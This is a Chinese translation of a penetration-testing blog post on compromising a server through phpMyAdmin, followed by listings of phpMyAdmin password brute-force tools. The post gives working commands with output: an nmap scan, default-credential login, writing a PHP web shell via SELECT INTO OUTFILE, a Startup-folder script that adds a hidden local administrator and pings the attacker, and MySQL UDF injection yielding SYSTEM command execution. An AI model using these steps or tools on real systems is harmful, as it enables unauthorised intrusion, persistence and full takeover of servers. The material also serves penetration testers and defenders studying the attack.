`

[译]phpMyAdmin利用

 
阅读更多
原文地址:http://pen-testing.sans.org/blog/pen-testing/2013/04/10/putting-the-my-in-phpmyadmin

$ nmap -sT -T3 -PS80,443,8000,8443,8800 -p 80,443,8000,8443,8080 -oA http-enum-results --script=http-enum -iL targets.txt

这个命令以正常速度(-T3)进行全连接扫描(-sT)。web服务器通常运行在端口80, 443, 8000, 8443, 和8080,所以这些端口用来主机发现(-PS),和检查(-p)。相比于-PN选项,我更喜欢-PS选项,因为它给我们更高质量的信息。
我们得到扫描结果:
引用

Nmap scan report for 172.16.105.194
Host is up (0.00083s latency).
PORT     STATE  SERVICE
80/tcp   closed http
443/tcp  closed https
8000/tcp closed http-alt
8080/tcp open   http-proxy
| http-enum:
|   /phpmyadmin/: phpMyAdmin
|   /phpMyAdmin/: phpMyAdmin
|_  /PHPMyAdmin/: phpMyAdmin
8443/tcp closed https-alt

服务器运行phpMyAdmin,登录到管理员页面。发现管理员使用默认口令。
事实是因为该服务器是一个监控服务器。phpMyAdmin被捆绑到软件安装包中。没有人知道默认安装了phpMyAdmin。
接下来使用sql上传web shell。记住当你在sql中粘贴shell的时候使用"\"来规避"'",否则sql报错。使用下列语法注入了php shell code。
select '[escaped php shell code]' INTO OUTFILE 'c:\\inetpub\\wwwroot\\shell.php';

我喜欢用Laudanum(下载地址:http://sourceforge.net/projects/laudanum/files/)php shell,因为它可以限制IP和需要授权。
运行shell code后,需要了解我的权限。运行
c:\windows\system32\cmd.exe /c whoami"
返回一个"nt authority\network service"低权限账户。
技术1. 写入user开机文件夹。
C:\Documents and Settings\All Users\Start Menu\Programs\Startup文件夹中创建一个bash文件,当任何user登录的时候,该文件就会执行。命令行窗口会弹出一瞬间,但是user可能不会注意到。即使注意到,也可能会忽视。
命令如下:
net user timmedin reallyl0ngp@ssw0rd! /add /y
net localgroup administrators timmedin /add
ping -n 1 -w 10 [MyIPaddress]

该该命令创建一个user,添加到本地管理员帐户。/y表示跳过弹出窗口。
平命令用来通知我已经出现user登录了。-n 1选项表示发送一个ping数据包。 -w 10告诉命令在放弃前等待10毫秒。
技术2. 使用sql注入UDF(user-defined function)
首先需要找到插件文件夹,使用如下命令:
select @@plugin_dir
C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin

然后上传UDF库
这是一种二进制文件,幸运的是,MYSQL "CHAR()"命令可以用来生成二进制数据。例如"SELECT CHAR(72,69,76,76,79)"会返回"HELLO"。我们可以使用下面python命令来实现转换:
$ python -c "print ','.join([str(x) for x in bytearray(open('lib_mysqludf_sys.dll').read())])"

拷贝粘贴,然后我们可以通过OUTFILE生成我们的文件:
SELECT CHAR(77,90,144,0,3,0,0,0,4,0,0,0,255,255,...) INTO OUTFILE
  'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\lib_mysqludf_sys.dll'
  FIELDS ESCAPED BY ''

接下来,注册dll:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_get  RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_set  RETURNS STRING SONAME 'lib_mysqludf_sys.dll';

运行:
SELECT sys_eval('dir') FROM dual
nt authority\system

接下来我们就可以做任何事了,上传Meterpreter shell(通过python和OUTFILE),然后通过sys_exec/sys_eval来执行shell。我们可以创建一个管理员帐户。我们可以开启终端服务,修改防火墙等。
分享到:
评论

相关推荐

    利用phpMyAdmin拿webshell

    利用phpMyAdmin拿webshell 利用phpMyAdmin拿webshell

    phpmyadmin弱口令批量利用3传(ok)

    phpmyadmin弱口令批量利用3传(ok) 批量执行,仅供网络测试

    phpMyAdmin多线程批量破解工具

    phpMyAdmin多线程批量破解工具是一款用于数据库密码强制破解的工具,了解它的朋友想必不用做过多的介绍就应该了解他他是做什么...你还在为MySQL的外连功能关闭而烦恼吗,利用phpMyAdmin破解数据库账户密码的工具来了。

    phpmyadmin批量爆破

    在提供的【压缩包子文件的文件名称列表】中,"phpmyadmin弱口令批量利用_内部优化版.exe"很可能是一个用于批量测试PHPMyAdmin登录凭据的工具。这种工具通常会包含一个字典文件,其中列出了常见或已知的用户名和密码...

    单文件phpmyadmin,功能强大不比phpmyadmin差

    单文件phpmyadmin,功能强大不比phpmyadmin差,可导出导入。可执行sql语句。

    phpMyAdmin-v2.11.1

    例如,开发者可以利用它快速搭建测试环境,进行数据库的初步设计和调试;网站管理员可以借助它进行数据库维护,如定期备份、数据导入导出等;教育领域中,教师也可以用它作为教学工具,让学生直观地学习数据库管理。...

    phpMyAdmin 5.2.1 (多语言版)

    **phpMyAdmin 5.2.1 多语言版详解** phpMyAdmin 是一个非常流行的开源Web应用程序,专为MySQL数据库管理系统提供用户友好的界面,使得数据库管理变得简单易行,即使对于没有深入数据库知识的用户也是如此。在版本...

    phpMyAdmin暴力破解v1.3

    而今phpMyAdmin3.2.5,phpMyAdmin3.2.1、phpMyAdmin2.11.2版本测试均成功! 此东西仅供网友技术进修交换利用,请勿利用于犯警用处。 MySQL数据库字典,人人就本身网上支散了! 当前版本 v1.2 MD5:541465699949f3d60...

    phpMyAdmin最新中文版

    5. **学习SQL**:虽然phpMyAdmin提供了图形界面,但掌握基础的SQL知识能让你更好地利用其功能。 总结来说,"phpMyAdmin最新中文版"为中文用户提供了一个高效、易用的MySQL数据库管理平台。通过优化和精简,它在保留...

    PHPMyAdmin

    4. **备份策略**:定期备份数据库,可以设置自动化脚本或利用PHPMyAdmin的导出功能。 5. **性能优化**:了解并优化MySQL配置,如调整InnoDB存储引擎的参数,以提升数据库性能。 6. **错误处理**:遇到问题时,查看...

    Phpmyadmin

    **phpMyAdmin** phpMyAdmin 是一个开源的、基于Web的MySQL数据库管理工具,它允许用户通过浏览器界面轻松地执行各种数据库操作,如创建、修改和删除数据库表,执行SQL查询,管理用户权限等。这款工具是用PHP编程...

    phpMyAdmin配置文件config 详解.doc

    了解配置文件的内容和作用可以帮助我们更好地使用 phpMyAdmin。 phpMyAdmin 配置文件概述 phpMyAdmin 配置文件 config.inc.php 由多个部分组成,每个部分都有其特定的作用。下面我们将对每个部分进行详细的解释。 ...

    phpmyadmin

    **phpMyAdmin:MySQL数据库管理的强大工具** phpMyAdmin 是一款非常流行的开源Web应用程序,用于管理和维护MySQL数据库。它提供了一个直观的用户界面,使得非技术背景的用户也能轻松执行常见的数据库操作,如创建、...

    phpmyadmin2.5.3.rar

    《PHPMyAdmin 2.5.3:数据库管理的强大工具》 PHPMyAdmin,作为一款开源、免费且功能丰富的MySQL数据库管理工具,以其强大的在线数据库管理和维护能力深受开发者喜爱。标题中的“phpmyadmin2.5.3.rar”指的是这个...

    phpMyAdmin

    phpMyAdmin - Readme =================== Version 4.3.3 A set of PHP-scripts to manage MySQL over the web. http://www.phpmyadmin.net/ Summary ------- phpMyAdmin is intended to handle the ...

    phpMyAdmin.zip

    可以利用phpMyAdmin的备份功能,或通过脚本自动化备份。 4. 安全防护:保持phpMyAdmin版本及时更新,修复已知漏洞。限制不必要的远程访问,仅允许特定IP或网络访问。 5. 故障排查:遇到问题时,查看错误日志是解决...

    phpMyAdmin修正补丁3.1.1

    phpmyadmin是大家很常用的用来管理mysql数据库的软件。它虽然已经提供了对中文的支持,但是,仅限于字段编码为:utf-8(utf8)、gbk、gb2312。对其它的编码,使用phpmyadmin进行查看时会显示为乱码。  虽然对于新的...

    phpMyAdmin修正补丁3.1.2

    phpmyadmin是大家很常用的用来管理mysql数据库的软件。它虽然已经提供了对中文的支持,但是,仅限于字段编码为:utf-8(utf8)、gbk、gb2312。对其它的编码,使用phpmyadmin进行查看时会显示为乱码。  虽然对于新的...

    phpmyadmin 正式版

    **phpMyAdmin详解** phpMyAdmin是一款非常流行的开源工具,专为管理MySQL数据库而设计,它使用PHP语言编写,可以在Web环境下运行。由于其强大的功能和友好的用户界面,使得数据库管理员、开发者以及非技术人员都能...

Global site tag (gtag.js) - Google Analytics